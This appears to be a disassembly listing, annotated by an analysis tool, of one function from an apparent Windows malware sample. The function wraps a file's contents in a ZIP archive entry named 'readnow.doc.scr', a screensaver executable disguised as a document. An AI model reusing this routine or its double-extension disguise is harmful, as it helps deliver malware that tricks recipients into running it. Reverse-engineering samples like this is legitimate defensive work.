Function at 0x401469
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push edi
lea edi, str.readnow.doc.scr
mov dword [ebp - 0x10], edi
push 0x472ad0
push dword [ebp + 0xc]
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40149c
mov eax, 1
jmp 0x401717
push 0x472acd
push dword [ebp + 8]
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4014bf
mov eax, 1
jmp 0x401717
push dword [ebp - 0x14]
call sub.CRTDLL.DLL__fileno
add esp, 4
mov edi, eax
push edi
call sub.CRTDLL.DLL__filelength
add esp, 4
mov dword [ebp - 8], eax
push dword [ebp - 8]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4014f6
mov eax, 1
jmp 0x401717
push dword [ebp - 0x14]
push dword [ebp - 8]
push 1
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fread
add esp, 0x10
lea edi, [ebp - 0x20]
push edi
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
lea edi, [ebp - 0x16]
push edi
lea edi, [ebp - 0x18]
push edi
lea edi, [ebp - 0x20]
push edi
call sub.KERNEL32.DLL_FileTimeToDosDateTime
mov di, word [ebp - 0x16]
mov word [0x405a50], di
mov di, word [ebp - 0x18]
mov word [0x405a52], di
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0
call fcn.00401401
add esp, 0xc
mov dword [0x405a54], eax
mov edi, dword [ebp - 8]
mov dword [0x405a58], edi
mov edi, dword [ebp - 8]
mov dword [0x405a5c], edi
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
mov word [0x405a60], di
mov word [0x405a62], 0
mov di, word [ebp - 0x16]
mov word [0x405e90], di
mov di, word [ebp - 0x18]
mov word [0x405e92], di
mov edi, dword [0x405a54]
mov dword [0x405e94], edi
mov edi, dword [ebp - 8]
mov dword [0x405e98], edi
mov edi, dword [ebp - 8]
mov dword [0x405e9c], edi
mov di, word [0x405a60]
mov word [0x405ea0], di
mov word [0x405ea2], 0
mov word [0x405ea4], 0
mov word [0x405ea6], 0
mov word [0x405ea8], 0
mov word [0x405eaa], 0x20
mov word [0x405eac], 0
mov dword [0x405eb0], 0
movzx edi, word [0x405a60]
add edi, 0x2e
mov dword [0x405a70], edi
mov edi, dword [ebp - 8]
add edi, 0x2a
mov dword [0x405a74], edi
mov word [0x405a78], 0
push dword [ebp - 4]
push 1
push 0xa
push 0x472038
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 4]
push 1
push 0x14
push 0x405a50
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
push dword [ebp - 4]
push 1
push edi
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 4]
push 1
push 0xc
push 0x472042
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 4]
push 1
push 0x22
push 0x405e90
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
push dword [ebp - 4]
push 1
push edi
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 4]
push 1
push 0xc
push 0x47204e
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 4]
push 1
push 0xa
push 0x405a70
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
cmp dword [ebp - 0xc], 0
je 0x4016fc
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_free
add esp, 4
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_fclose
add esp, 4
push dword [ebp - 4]
call sub.CRTDLL.DLL_fclose
add esp, 4
mov eax, 0
pop edi
leave
ret